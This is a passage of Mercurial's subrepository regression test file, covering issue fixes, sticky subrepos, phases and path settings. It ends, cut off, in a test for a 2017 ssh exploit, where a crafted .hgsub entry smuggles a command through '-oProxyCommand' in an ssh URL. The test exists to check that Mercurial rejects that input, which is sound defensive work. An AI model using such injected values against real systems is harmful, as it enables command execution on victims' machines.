990 990 > fakedirstatewritetime = !
991 991 > EOF
992 992
993 993 $ cat repo/s/b
994 994 issue3276_ok
995 995 $ rm repo/s/b
996 996 $ touch -t 200001010000 repo/.hgsubstate
997 997 $ hg -R repo revert --all
998 998 reverting repo/.hgsubstate (glob)
999 999 reverting subrepo s
1000 1000 $ hg -R repo update
1001 1001 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1002 1002 $ cat repo/s/b
1003 1003 2
1004 1004 $ rm -rf repo2 repo
1005 1005
1006 1006
1007 1007 Issue1852 subrepos with relative paths always push/pull relative to default
1008 1008
1009 1009 Prepare a repo with subrepo
1010 1010
1011 1011 $ hg init issue1852a
1012 1012 $ cd issue1852a
1013 1013 $ hg init sub/repo
1014 1014 $ echo test > sub/repo/foo
1015 1015 $ hg -R sub/repo add sub/repo/foo
1016 1016 $ echo sub/repo = sub/repo > .hgsub
1017 1017 $ hg add .hgsub
1018 1018 $ hg ci -mtest
1019 1019 committing subrepository sub/repo (glob)
1020 1020 $ echo test >> sub/repo/foo
1021 1021 $ hg ci -mtest
1022 1022 committing subrepository sub/repo (glob)
1023 1023 $ hg cat sub/repo/foo
1024 1024 test
1025 1025 test
1026 1026 $ hg cat sub/repo/foo -Tjson | sed 's|\\\\|/|g'
1027 1027 [
1028 1028 {
1029 1029 "abspath": "foo",
1030 1030 "data": "test\ntest\n",
1031 1031 "path": "sub/repo/foo"
1032 1032 }
1033 1033 ]
1034 1034 $ mkdir -p tmp/sub/repo
1035 1035 $ hg cat -r 0 --output tmp/%p_p sub/repo/foo
1036 1036 $ cat tmp/sub/repo/foo_p
1037 1037 test
1038 1038 $ mv sub/repo sub_
1039 1039 $ hg cat sub/repo/baz
1040 1040 skipping missing subrepository: sub/repo
1041 1041 [1]
1042 1042 $ rm -rf sub/repo
1043 1043 $ mv sub_ sub/repo
1044 1044 $ cd ..
1045 1045
1046 1046 Create repo without default path, pull top repo, and see what happens on update
1047 1047
1048 1048 $ hg init issue1852b
1049 1049 $ hg -R issue1852b pull issue1852a
1050 1050 pulling from issue1852a
1051 1051 requesting all changes
1052 1052 adding changesets
1053 1053 adding manifests
1054 1054 adding file changes
1055 1055 added 2 changesets with 3 changes to 2 files
1056 1056 (run 'hg update' to get a working copy)
1057 1057 $ hg -R issue1852b update
1058 1058 abort: default path for subrepository not found (in subrepository "sub/repo") (glob)
1059 1059 [255]
1060 1060
1061 1061 Ensure a full traceback, not just the SubrepoAbort part
1062 1062
1063 1063 $ hg -R issue1852b update --traceback 2>&1 | grep 'raise error\.Abort'
1064 1064 raise error.Abort(_("default path for subrepository not found"))
1065 1065
1066 1066 Pull -u now doesn't help
1067 1067
1068 1068 $ hg -R issue1852b pull -u issue1852a
1069 1069 pulling from issue1852a
1070 1070 searching for changes
1071 1071 no changes found
1072 1072
1073 1073 Try the same, but with pull -u
1074 1074
1075 1075 $ hg init issue1852c
1076 1076 $ hg -R issue1852c pull -r0 -u issue1852a
1077 1077 pulling from issue1852a
1078 1078 adding changesets
1079 1079 adding manifests
1080 1080 adding file changes
1081 1081 added 1 changesets with 2 changes to 2 files
1082 1082 cloning subrepo sub/repo from issue1852a/sub/repo (glob)
1083 1083 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1084 1084
1085 1085 Try to push from the other side
1086 1086
1087 1087 $ hg -R issue1852a push `pwd`/issue1852c
1088 1088 pushing to $TESTTMP/issue1852c (glob)
1089 1089 pushing subrepo sub/repo to $TESTTMP/issue1852c/sub/repo (glob)
1090 1090 searching for changes
1091 1091 no changes found
1092 1092 searching for changes
1093 1093 adding changesets
1094 1094 adding manifests
1095 1095 adding file changes
1096 1096 added 1 changesets with 1 changes to 1 files
1097 1097
1098 1098 Incoming and outgoing should not use the default path:
1099 1099
1100 1100 $ hg clone -q issue1852a issue1852d
1101 1101 $ hg -R issue1852d outgoing --subrepos issue1852c
1102 1102 comparing with issue1852c
1103 1103 searching for changes
1104 1104 no changes found
1105 1105 comparing with issue1852c/sub/repo
1106 1106 searching for changes
1107 1107 no changes found
1108 1108 [1]
1109 1109 $ hg -R issue1852d incoming --subrepos issue1852c
1110 1110 comparing with issue1852c
1111 1111 searching for changes
1112 1112 no changes found
1113 1113 comparing with issue1852c/sub/repo
1114 1114 searching for changes
1115 1115 no changes found
1116 1116 [1]
1117 1117
1118 1118 Check that merge of a new subrepo doesn't write the uncommitted state to
1119 1119 .hgsubstate (issue4622)
1120 1120
1121 1121 $ hg init issue1852a/addedsub
1122 1122 $ echo zzz > issue1852a/addedsub/zz.txt
1123 1123 $ hg -R issue1852a/addedsub ci -Aqm "initial ZZ"
1124 1124
1125 1125 $ hg clone issue1852a/addedsub issue1852d/addedsub
1126 1126 updating to branch default
1127 1127 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1128 1128
1129 1129 $ echo def > issue1852a/sub/repo/foo
1130 1130 $ hg -R issue1852a ci -SAm 'tweaked subrepo'
1131 1131 adding tmp/sub/repo/foo_p
1132 1132 committing subrepository sub/repo (glob)
1133 1133
1134 1134 $ echo 'addedsub = addedsub' >> issue1852d/.hgsub
1135 1135 $ echo xyz > issue1852d/sub/repo/foo
1136 1136 $ hg -R issue1852d pull -u
1137 1137 pulling from $TESTTMP/issue1852a (glob)
1138 1138 searching for changes
1139 1139 adding changesets
1140 1140 adding manifests
1141 1141 adding file changes
1142 1142 added 1 changesets with 2 changes to 2 files
1143 1143 subrepository sub/repo diverged (local revision: f42d5c7504a8, remote revision: 46cd4aac504c)
1144 1144 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1145 1145 pulling subrepo sub/repo from $TESTTMP/issue1852a/sub/repo (glob)
1146 1146 searching for changes
1147 1147 adding changesets
1148 1148 adding manifests
1149 1149 adding file changes
1150 1150 added 1 changesets with 1 changes to 1 files
1151 1151 subrepository sources for sub/repo differ (glob)
1152 1152 use (l)ocal source (f42d5c7504a8) or (r)emote source (46cd4aac504c)? l
1153 1153 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1154 1154 $ cat issue1852d/.hgsubstate
1155 1155 f42d5c7504a811dda50f5cf3e5e16c3330b87172 sub/repo
1156 1156
1157 1157 Check status of files when none of them belong to the first
1158 1158 subrepository:
1159 1159
1160 1160 $ hg init subrepo-status
1161 1161 $ cd subrepo-status
1162 1162 $ hg init subrepo-1
1163 1163 $ hg init subrepo-2
1164 1164 $ cd subrepo-2
1165 1165 $ touch file
1166 1166 $ hg add file
1167 1167 $ cd ..
1168 1168 $ echo subrepo-1 = subrepo-1 > .hgsub
1169 1169 $ echo subrepo-2 = subrepo-2 >> .hgsub
1170 1170 $ hg add .hgsub
1171 1171 $ hg ci -m 'Added subrepos'
1172 1172 committing subrepository subrepo-2
1173 1173 $ hg st subrepo-2/file
1174 1174
1175 1175 Check that share works with subrepo
1176 1176 $ hg --config extensions.share= share . ../shared
1177 1177 updating working directory
1178 1178 cloning subrepo subrepo-2 from $TESTTMP/subrepo-status/subrepo-2
1179 1179 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1180 1180 $ test -f ../shared/subrepo-1/.hg/sharedpath
1181 1181 [1]
1182 1182 $ hg -R ../shared in
1183 1183 abort: repository default not found!
1184 1184 [255]
1185 1185 $ hg -R ../shared/subrepo-2 showconfig paths
1186 1186 paths.default=$TESTTMP/subrepo-status/subrepo-2
1187 1187 $ hg -R ../shared/subrepo-1 sum --remote
1188 1188 parent: -1:000000000000 tip (empty repository)
1189 1189 branch: default
1190 1190 commit: (clean)
1191 1191 update: (current)
1192 1192 remote: (synced)
1193 1193
1194 1194 Check hg update --clean
1195 1195 $ cd $TESTTMP/t
1196 1196 $ rm -r t/t.orig
1197 1197 $ hg status -S --all
1198 1198 C .hgsub
1199 1199 C .hgsubstate
1200 1200 C a
1201 1201 C s/.hgsub
1202 1202 C s/.hgsubstate
1203 1203 C s/a
1204 1204 C s/ss/a
1205 1205 C t/t
1206 1206 $ echo c1 > s/a
1207 1207 $ cd s
1208 1208 $ echo c1 > b
1209 1209 $ echo c1 > c
1210 1210 $ hg add b
1211 1211 $ cd ..
1212 1212 $ hg status -S
1213 1213 M s/a
1214 1214 A s/b
1215 1215 ? s/c
1216 1216 $ hg update -C
1217 1217 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1218 1218 updated to "925c17564ef8: 13"
1219 1219 2 other heads for branch "default"
1220 1220 $ hg status -S
1221 1221 ? s/b
1222 1222 ? s/c
1223 1223
1224 1224 Sticky subrepositories, no changes
1225 1225 $ cd $TESTTMP/t
1226 1226 $ hg id
1227 1227 925c17564ef8 tip
1228 1228 $ hg -R s id
1229 1229 12a213df6fa9 tip
1230 1230 $ hg -R t id
1231 1231 52c0adc0515a tip
1232 1232 $ hg update 11
1233 1233 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1234 1234 $ hg id
1235 1235 365661e5936a
1236 1236 $ hg -R s id
1237 1237 fc627a69481f
1238 1238 $ hg -R t id
1239 1239 e95bcfa18a35
1240 1240
1241 1241 Sticky subrepositories, file changes
1242 1242 $ touch s/f1
1243 1243 $ touch t/f1
1244 1244 $ hg add -S s/f1
1245 1245 $ hg add -S t/f1
1246 1246 $ hg id
1247 1247 365661e5936a+
1248 1248 $ hg -R s id
1249 1249 fc627a69481f+
1250 1250 $ hg -R t id
1251 1251 e95bcfa18a35+
1252 1252 $ hg update tip
1253 1253 subrepository s diverged (local revision: fc627a69481f, remote revision: 12a213df6fa9)
1254 1254 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1255 1255 subrepository sources for s differ
1256 1256 use (l)ocal source (fc627a69481f) or (r)emote source (12a213df6fa9)? l
1257 1257 subrepository t diverged (local revision: e95bcfa18a35, remote revision: 52c0adc0515a)
1258 1258 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1259 1259 subrepository sources for t differ
1260 1260 use (l)ocal source (e95bcfa18a35) or (r)emote source (52c0adc0515a)? l
1261 1261 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1262 1262 $ hg id
1263 1263 925c17564ef8+ tip
1264 1264 $ hg -R s id
1265 1265 fc627a69481f+
1266 1266 $ hg -R t id
1267 1267 e95bcfa18a35+
1268 1268 $ hg update --clean tip
1269 1269 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1270 1270
1271 1271 Sticky subrepository, revision updates
1272 1272 $ hg id
1273 1273 925c17564ef8 tip
1274 1274 $ hg -R s id
1275 1275 12a213df6fa9 tip
1276 1276 $ hg -R t id
1277 1277 52c0adc0515a tip
1278 1278 $ cd s
1279 1279 $ hg update -r -2
1280 1280 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1281 1281 $ cd ../t
1282 1282 $ hg update -r 2
1283 1283 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1284 1284 $ cd ..
1285 1285 $ hg update 10
1286 1286 subrepository s diverged (local revision: 12a213df6fa9, remote revision: fc627a69481f)
1287 1287 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1288 1288 subrepository t diverged (local revision: 52c0adc0515a, remote revision: 20a0db6fbf6c)
1289 1289 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1290 1290 subrepository sources for t differ (in checked out version)
1291 1291 use (l)ocal source (7af322bc1198) or (r)emote source (20a0db6fbf6c)? l
1292 1292 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1293 1293 $ hg id
1294 1294 e45c8b14af55+
1295 1295 $ hg -R s id
1296 1296 02dcf1d70411
1297 1297 $ hg -R t id
1298 1298 7af322bc1198
1299 1299
1300 1300 Sticky subrepository, file changes and revision updates
1301 1301 $ touch s/f1
1302 1302 $ touch t/f1
1303 1303 $ hg add -S s/f1
1304 1304 $ hg add -S t/f1
1305 1305 $ hg id
1306 1306 e45c8b14af55+
1307 1307 $ hg -R s id
1308 1308 02dcf1d70411+
1309 1309 $ hg -R t id
1310 1310 7af322bc1198+
1311 1311 $ hg update tip
1312 1312 subrepository s diverged (local revision: 12a213df6fa9, remote revision: 12a213df6fa9)
1313 1313 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1314 1314 subrepository sources for s differ
1315 1315 use (l)ocal source (02dcf1d70411) or (r)emote source (12a213df6fa9)? l
1316 1316 subrepository t diverged (local revision: 52c0adc0515a, remote revision: 52c0adc0515a)
1317 1317 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1318 1318 subrepository sources for t differ
1319 1319 use (l)ocal source (7af322bc1198) or (r)emote source (52c0adc0515a)? l
1320 1320 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1321 1321 $ hg id
1322 1322 925c17564ef8+ tip
1323 1323 $ hg -R s id
1324 1324 02dcf1d70411+
1325 1325 $ hg -R t id
1326 1326 7af322bc1198+
1327 1327
1328 1328 Sticky repository, update --clean
1329 1329 $ hg update --clean tip
1330 1330 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1331 1331 $ hg id
1332 1332 925c17564ef8 tip
1333 1333 $ hg -R s id
1334 1334 12a213df6fa9 tip
1335 1335 $ hg -R t id
1336 1336 52c0adc0515a tip
1337 1337
1338 1338 Test subrepo already at intended revision:
1339 1339 $ cd s
1340 1340 $ hg update fc627a69481f
1341 1341 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
1342 1342 $ cd ..
1343 1343 $ hg update 11
1344 1344 subrepository s diverged (local revision: 12a213df6fa9, remote revision: fc627a69481f)
1345 1345 (M)erge, keep (l)ocal [working copy] or keep (r)emote [destination]? m
1346 1346 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1347 1347 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
1348 1348 $ hg id -n
1349 1349 11+
1350 1350 $ hg -R s id
1351 1351 fc627a69481f
1352 1352 $ hg -R t id
1353 1353 e95bcfa18a35
1354 1354
1355 1355 Test that removing .hgsubstate doesn't break anything:
1356 1356
1357 1357 $ hg rm -f .hgsubstate
1358 1358 $ hg ci -mrm
1359 1359 nothing changed
1360 1360 [1]
1361 1361 $ hg log -vr tip
1362 1362 changeset: 13:925c17564ef8
1363 1363 tag: tip
1364 1364 user: test
1365 1365 date: Thu Jan 01 00:00:00 1970 +0000
1366 1366 files: .hgsubstate
1367 1367 description:
1368 1368 13
1369 1369
1370 1370
1371 1371
1372 1372 Test that removing .hgsub removes .hgsubstate:
1373 1373
1374 1374 $ hg rm .hgsub
1375 1375 $ hg ci -mrm2
1376 1376 created new head
1377 1377 $ hg log -vr tip
1378 1378 changeset: 14:2400bccd50af
1379 1379 tag: tip
1380 1380 parent: 11:365661e5936a
1381 1381 user: test
1382 1382 date: Thu Jan 01 00:00:00 1970 +0000
1383 1383 files: .hgsub .hgsubstate
1384 1384 description:
1385 1385 rm2
1386 1386
1387 1387
1388 1388 Test issue3153: diff -S with deleted subrepos
1389 1389
1390 1390 $ hg diff --nodates -S -c .
1391 1391 diff -r 365661e5936a -r 2400bccd50af .hgsub
1392 1392 --- a/.hgsub
1393 1393 +++ /dev/null
1394 1394 @@ -1,2 +0,0 @@
1395 1395 -s = s
1396 1396 -t = t
1397 1397 diff -r 365661e5936a -r 2400bccd50af .hgsubstate
1398 1398 --- a/.hgsubstate
1399 1399 +++ /dev/null
1400 1400 @@ -1,2 +0,0 @@
1401 1401 -fc627a69481fcbe5f1135069e8a3881c023e4cf5 s
1402 1402 -e95bcfa18a358dc4936da981ebf4147b4cad1362 t
1403 1403
1404 1404 Test behavior of add for explicit path in subrepo:
1405 1405 $ cd ..
1406 1406 $ hg init explicit
1407 1407 $ cd explicit
1408 1408 $ echo s = s > .hgsub
1409 1409 $ hg add .hgsub
1410 1410 $ hg init s
1411 1411 $ hg ci -m0
1412 1412 Adding with an explicit path in a subrepo adds the file
1413 1413 $ echo c1 > f1
1414 1414 $ echo c2 > s/f2
1415 1415 $ hg st -S
1416 1416 ? f1
1417 1417 ? s/f2
1418 1418 $ hg add s/f2
1419 1419 $ hg st -S
1420 1420 A s/f2
1421 1421 ? f1
1422 1422 $ hg ci -R s -m0
1423 1423 $ hg ci -Am1
1424 1424 adding f1
1425 1425 Adding with an explicit path in a subrepo with -S has the same behavior
1426 1426 $ echo c3 > f3
1427 1427 $ echo c4 > s/f4
1428 1428 $ hg st -S
1429 1429 ? f3
1430 1430 ? s/f4
1431 1431 $ hg add -S s/f4
1432 1432 $ hg st -S
1433 1433 A s/f4
1434 1434 ? f3
1435 1435 $ hg ci -R s -m1
1436 1436 $ hg ci -Ama2
1437 1437 adding f3
1438 1438 Adding without a path or pattern silently ignores subrepos
1439 1439 $ echo c5 > f5
1440 1440 $ echo c6 > s/f6
1441 1441 $ echo c7 > s/f7
1442 1442 $ hg st -S
1443 1443 ? f5
1444 1444 ? s/f6
1445 1445 ? s/f7
1446 1446 $ hg add
1447 1447 adding f5
1448 1448 $ hg st -S
1449 1449 A f5
1450 1450 ? s/f6
1451 1451 ? s/f7
1452 1452 $ hg ci -R s -Am2
1453 1453 adding f6
1454 1454 adding f7
1455 1455 $ hg ci -m3
1456 1456 Adding without a path or pattern with -S also adds files in subrepos
1457 1457 $ echo c8 > f8
1458 1458 $ echo c9 > s/f9
1459 1459 $ echo c10 > s/f10
1460 1460 $ hg st -S
1461 1461 ? f8
1462 1462 ? s/f10
1463 1463 ? s/f9
1464 1464 $ hg add -S
1465 1465 adding f8
1466 1466 adding s/f10 (glob)
1467 1467 adding s/f9 (glob)
1468 1468 $ hg st -S
1469 1469 A f8
1470 1470 A s/f10
1471 1471 A s/f9
1472 1472 $ hg ci -R s -m3
1473 1473 $ hg ci -m4
1474 1474 Adding with a pattern silently ignores subrepos
1475 1475 $ echo c11 > fm11
1476 1476 $ echo c12 > fn12
1477 1477 $ echo c13 > s/fm13
1478 1478 $ echo c14 > s/fn14
1479 1479 $ hg st -S
1480 1480 ? fm11
1481 1481 ? fn12
1482 1482 ? s/fm13
1483 1483 ? s/fn14
1484 1484 $ hg add 'glob:**fm*'
1485 1485 adding fm11
1486 1486 $ hg st -S
1487 1487 A fm11
1488 1488 ? fn12
1489 1489 ? s/fm13
1490 1490 ? s/fn14
1491 1491 $ hg ci -R s -Am4
1492 1492 adding fm13
1493 1493 adding fn14
1494 1494 $ hg ci -Am5
1495 1495 adding fn12
1496 1496 Adding with a pattern with -S also adds matches in subrepos
1497 1497 $ echo c15 > fm15
1498 1498 $ echo c16 > fn16
1499 1499 $ echo c17 > s/fm17
1500 1500 $ echo c18 > s/fn18
1501 1501 $ hg st -S
1502 1502 ? fm15
1503 1503 ? fn16
1504 1504 ? s/fm17
1505 1505 ? s/fn18
1506 1506 $ hg add -S 'glob:**fm*'
1507 1507 adding fm15
1508 1508 adding s/fm17 (glob)
1509 1509 $ hg st -S
1510 1510 A fm15
1511 1511 A s/fm17
1512 1512 ? fn16
1513 1513 ? s/fn18
1514 1514 $ hg ci -R s -Am5
1515 1515 adding fn18
1516 1516 $ hg ci -Am6
1517 1517 adding fn16
1518 1518
1519 1519 Test behavior of forget for explicit path in subrepo:
1520 1520 Forgetting an explicit path in a subrepo untracks the file
1521 1521 $ echo c19 > s/f19
1522 1522 $ hg add s/f19
1523 1523 $ hg st -S
1524 1524 A s/f19
1525 1525 $ hg forget s/f19
1526 1526 $ hg st -S
1527 1527 ? s/f19
1528 1528 $ rm s/f19
1529 1529 $ cd ..
1530 1530
1531 1531 Courtesy phases synchronisation to publishing server does not block the push
1532 1532 (issue3781)
1533 1533
1534 1534 $ cp -R main issue3781
1535 1535 $ cp -R main issue3781-dest
1536 1536 $ cd issue3781-dest/s
1537 1537 $ hg phase tip # show we have draft changeset
1538 1538 5: draft
1539 1539 $ chmod a-w .hg/store/phaseroots # prevent phase push
1540 1540 $ cd ../../issue3781
1541 1541 $ cat >> .hg/hgrc << EOF
1542 1542 > [paths]
1543 1543 > default=../issue3781-dest/
1544 1544 > EOF
1545 1545 $ hg push --config devel.legacy.exchange=bundle1
1546 1546 pushing to $TESTTMP/issue3781-dest (glob)
1547 1547 pushing subrepo s to $TESTTMP/issue3781-dest/s
1548 1548 searching for changes
1549 1549 no changes found
1550 1550 searching for changes
1551 1551 no changes found
1552 1552 [1]
1553 1553 # clean the push cache
1554 1554 $ rm s/.hg/cache/storehash/*
1555 1555 $ hg push # bundle2+
1556 1556 pushing to $TESTTMP/issue3781-dest (glob)
1557 1557 pushing subrepo s to $TESTTMP/issue3781-dest/s
1558 1558 searching for changes
1559 1559 no changes found
1560 1560 searching for changes
1561 1561 no changes found
1562 1562 [1]
1563 1563 $ cd ..
1564 1564
1565 1565 Test phase choice for newly created commit with "phases.subrepochecks"
1566 1566 configuration
1567 1567
1568 1568 $ cd t
1569 1569 $ hg update -q -r 12
1570 1570
1571 1571 $ cat >> s/ss/.hg/hgrc <<EOF
1572 1572 > [phases]
1573 1573 > new-commit = secret
1574 1574 > EOF
1575 1575 $ cat >> s/.hg/hgrc <<EOF
1576 1576 > [phases]
1577 1577 > new-commit = draft
1578 1578 > EOF
1579 1579 $ echo phasecheck1 >> s/ss/a
1580 1580 $ hg -R s commit -S --config phases.checksubrepos=abort -m phasecheck1
1581 1581 committing subrepository ss
1582 1582 transaction abort!
1583 1583 rollback completed
1584 1584 abort: can't commit in draft phase conflicting secret from subrepository ss
1585 1585 [255]
1586 1586 $ echo phasecheck2 >> s/ss/a
1587 1587 $ hg -R s commit -S --config phases.checksubrepos=ignore -m phasecheck2
1588 1588 committing subrepository ss
1589 1589 $ hg -R s/ss phase tip
1590 1590 3: secret
1591 1591 $ hg -R s phase tip
1592 1592 6: draft
1593 1593 $ echo phasecheck3 >> s/ss/a
1594 1594 $ hg -R s commit -S -m phasecheck3
1595 1595 committing subrepository ss
1596 1596 warning: changes are committed in secret phase from subrepository ss
1597 1597 $ hg -R s/ss phase tip
1598 1598 4: secret
1599 1599 $ hg -R s phase tip
1600 1600 7: secret
1601 1601
1602 1602 $ cat >> t/.hg/hgrc <<EOF
1603 1603 > [phases]
1604 1604 > new-commit = draft
1605 1605 > EOF
1606 1606 $ cat >> .hg/hgrc <<EOF
1607 1607 > [phases]
1608 1608 > new-commit = public
1609 1609 > EOF
1610 1610 $ echo phasecheck4 >> s/ss/a
1611 1611 $ echo phasecheck4 >> t/t
1612 1612 $ hg commit -S -m phasecheck4
1613 1613 committing subrepository s
1614 1614 committing subrepository s/ss (glob)
1615 1615 warning: changes are committed in secret phase from subrepository ss
1616 1616 committing subrepository t
1617 1617 warning: changes are committed in secret phase from subrepository s
1618 1618 created new head
1619 1619 $ hg -R s/ss phase tip
1620 1620 5: secret
1621 1621 $ hg -R s phase tip
1622 1622 8: secret
1623 1623 $ hg -R t phase tip
1624 1624 6: draft
1625 1625 $ hg phase tip
1626 1626 15: secret
1627 1627
1628 1628 $ cd ..
1629 1629
1630 1630
1631 1631 Test that commit --secret works on both repo and subrepo (issue4182)
1632 1632
1633 1633 $ cd main
1634 1634 $ echo secret >> b
1635 1635 $ echo secret >> s/b
1636 1636 $ hg commit --secret --subrepo -m "secret"
1637 1637 committing subrepository s
1638 1638 $ hg phase -r .
1639 1639 6: secret
1640 1640 $ cd s
1641 1641 $ hg phase -r .
1642 1642 6: secret
1643 1643 $ cd ../../
1644 1644
1645 1645 Test "subrepos" template keyword
1646 1646
1647 1647 $ cd t
1648 1648 $ hg update -q 15
1649 1649 $ cat > .hgsub <<EOF
1650 1650 > s = s
1651 1651 > EOF
1652 1652 $ hg commit -m "16"
1653 1653 warning: changes are committed in secret phase from subrepository s
1654 1654
1655 1655 (addition of ".hgsub" itself)
1656 1656
1657 1657 $ hg diff --nodates -c 1 .hgsubstate
1658 1658 diff -r f7b1eb17ad24 -r 7cf8cfea66e4 .hgsubstate
1659 1659 --- /dev/null
1660 1660 +++ b/.hgsubstate
1661 1661 @@ -0,0 +1,1 @@
1662 1662 +e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1663 1663 $ hg log -r 1 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1664 1664 f7b1eb17ad24 000000000000
1665 1665 s
1666 1666
1667 1667 (modification of existing entry)
1668 1668
1669 1669 $ hg diff --nodates -c 2 .hgsubstate
1670 1670 diff -r 7cf8cfea66e4 -r df30734270ae .hgsubstate
1671 1671 --- a/.hgsubstate
1672 1672 +++ b/.hgsubstate
1673 1673 @@ -1,1 +1,1 @@
1674 1674 -e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1675 1675 +dc73e2e6d2675eb2e41e33c205f4bdab4ea5111d s
1676 1676 $ hg log -r 2 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1677 1677 7cf8cfea66e4 000000000000
1678 1678 s
1679 1679
1680 1680 (addition of entry)
1681 1681
1682 1682 $ hg diff --nodates -c 5 .hgsubstate
1683 1683 diff -r 7cf8cfea66e4 -r 1f14a2e2d3ec .hgsubstate
1684 1684 --- a/.hgsubstate
1685 1685 +++ b/.hgsubstate
1686 1686 @@ -1,1 +1,2 @@
1687 1687 e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1688 1688 +60ca1237c19474e7a3978b0dc1ca4e6f36d51382 t
1689 1689 $ hg log -r 5 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1690 1690 7cf8cfea66e4 000000000000
1691 1691 t
1692 1692
1693 1693 (removal of existing entry)
1694 1694
1695 1695 $ hg diff --nodates -c 16 .hgsubstate
1696 1696 diff -r 8bec38d2bd0b -r f2f70bc3d3c9 .hgsubstate
1697 1697 --- a/.hgsubstate
1698 1698 +++ b/.hgsubstate
1699 1699 @@ -1,2 +1,1 @@
1700 1700 0731af8ca9423976d3743119d0865097c07bdc1b s
1701 1701 -e202dc79b04c88a636ea8913d9182a1346d9b3dc t
1702 1702 $ hg log -r 16 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1703 1703 8bec38d2bd0b 000000000000
1704 1704 t
1705 1705
1706 1706 (merging)
1707 1707
1708 1708 $ hg diff --nodates -c 9 .hgsubstate
1709 1709 diff -r f6affe3fbfaa -r f0d2028bf86d .hgsubstate
1710 1710 --- a/.hgsubstate
1711 1711 +++ b/.hgsubstate
1712 1712 @@ -1,1 +1,2 @@
1713 1713 fc627a69481fcbe5f1135069e8a3881c023e4cf5 s
1714 1714 +60ca1237c19474e7a3978b0dc1ca4e6f36d51382 t
1715 1715 $ hg log -r 9 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1716 1716 f6affe3fbfaa 1f14a2e2d3ec
1717 1717 t
1718 1718
1719 1719 (removal of ".hgsub" itself)
1720 1720
1721 1721 $ hg diff --nodates -c 8 .hgsubstate
1722 1722 diff -r f94576341bcf -r 96615c1dad2d .hgsubstate
1723 1723 --- a/.hgsubstate
1724 1724 +++ /dev/null
1725 1725 @@ -1,2 +0,0 @@
1726 1726 -e4ece1bf43360ddc8f6a96432201a37b7cd27ae4 s
1727 1727 -7af322bc1198a32402fe903e0b7ebcfc5c9bf8f4 t
1728 1728 $ hg log -r 8 --template "{p1node|short} {p2node|short}\n{subrepos % '{subrepo}\n'}"
1729 1729 f94576341bcf 000000000000
1730 1730
1731 1731 Test that '[paths]' is configured correctly at subrepo creation
1732 1732
1733 1733 $ cd $TESTTMP/tc
1734 1734 $ cat > .hgsub <<EOF
1735 1735 > # to clear bogus subrepo path 'bogus=[boguspath'
1736 1736 > s = s
1737 1737 > t = t
1738 1738 > EOF
1739 1739 $ hg update -q --clean null
1740 1740 $ rm -rf s t
1741 1741 $ cat >> .hg/hgrc <<EOF
1742 1742 > [paths]
1743 1743 > default-push = /foo/bar
1744 1744 > EOF
1745 1745 $ hg update -q
1746 1746 $ cat s/.hg/hgrc
1747 1747 [paths]
1748 1748 default = $TESTTMP/t/s
1749 1749 default-push = /foo/bar/s
1750 1750 $ cat s/ss/.hg/hgrc
1751 1751 [paths]
1752 1752 default = $TESTTMP/t/s/ss
1753 1753 default-push = /foo/bar/s/ss
1754 1754 $ cat t/.hg/hgrc
1755 1755 [paths]
1756 1756 default = $TESTTMP/t/t
1757 1757 default-push = /foo/bar/t
1758 1758
1759 1759 $ cd $TESTTMP/t
1760 1760 $ hg up -qC 0
1761 1761 $ echo 'bar' > bar.txt
1762 1762 $ hg ci -Am 'branch before subrepo add'
1763 1763 adding bar.txt
1764 1764 created new head
1765 1765 $ hg merge -r "first(subrepo('s'))"
1766 1766 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
1767 1767 (branch merge, don't forget to commit)
1768 1768 $ hg status -S -X '.hgsub*'
1769 1769 A s/a
1770 1770 ? s/b
1771 1771 ? s/c
1772 1772 ? s/f1
1773 1773 $ hg status -S --rev 'p2()'
1774 1774 A bar.txt
1775 1775 ? s/b
1776 1776 ? s/c
1777 1777 ? s/f1
1778 1778 $ hg diff -S -X '.hgsub*' --nodates
1779 1779 diff -r 000000000000 s/a
1780 1780 --- /dev/null
1781 1781 +++ b/s/a
1782 1782 @@ -0,0 +1,1 @@
1783 1783 +a
1784 1784 $ hg diff -S --rev 'p2()' --nodates
1785 1785 diff -r 7cf8cfea66e4 bar.txt
1786 1786 --- /dev/null
1787 1787 +++ b/bar.txt
1788 1788 @@ -0,0 +1,1 @@
1789 1789 +bar
1790 1790
1791 1791 $ cd ..
1792 1792
1793 1793 test for ssh exploit 2017-07-25
1794 1794
1795 $ cat >> $HGRCPATH << EOF
1796 > [ui]
1797 > ssh = sh -c "read l; read l; read l"
1798 > EOF
1799
1795 1800 $ hg init malicious-proxycommand
1796 1801 $ cd malicious-proxycommand
1797 1802 $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
1798 1803 $ hg init s
1799 1804 $ cd s
1800 1805 $ echo init > init
1801 1806 $ hg add
